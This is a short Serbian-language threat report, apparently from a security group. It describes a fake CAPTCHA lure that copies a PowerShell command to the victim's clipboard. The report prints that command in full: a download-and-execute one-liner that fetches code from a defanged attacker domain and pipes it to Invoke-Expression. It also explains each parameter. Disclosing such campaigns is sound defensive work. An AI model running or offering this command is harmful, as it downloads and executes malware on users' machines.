[VincaSec]

Prilikom učitavanja zlonamernog JavaScript fajla prikazivala se lažna CAPTCHA provera, pri čemu je PowerShell komanda automatski kopirana u clipboard korisnika, sa ciljem da ga navede da je naknadno izvrši i na taj način pokrene preuzimanje i izvršavanje dodatnog malware-a.

Code:

(irm 'https://t-trustrest(.)com/ae8ouxb9gx/f3134df07e2929fd' -UserAgent 'WUA/2dd1a3d0d1' -Headers @{'X-WUA'='2dd1a3d0d1'} -TimeoutSec 45)|iex

PowerShell komanda koristi Invoke-RestMethod za preuzimanje sadržaja sa servera t-trustrest.com, pri čemu parametar -UserAgent postavlja prilagođeni identifikator WUA/2dd1a3d0d1, dok -Headers dodaje HTTP zaglavlje X-WUA sa istom vrednošću, verovatno radi identifikacije i praćenja zahteva u okviru napadačke kampanje. Parametar -TimeoutSec 45 određuje maksimalno vreme čekanja odgovora servera, a zatim se pomoću Invoke-Expression (iex) preuzeti sadržaj direktno izvršava kao PowerShell kod.

https://www.virustotal.com/gui/domain/t-...om/details

Detaljnije o ovome:
https://scanmalware.com/hunts/64fd2289-3...93e469119a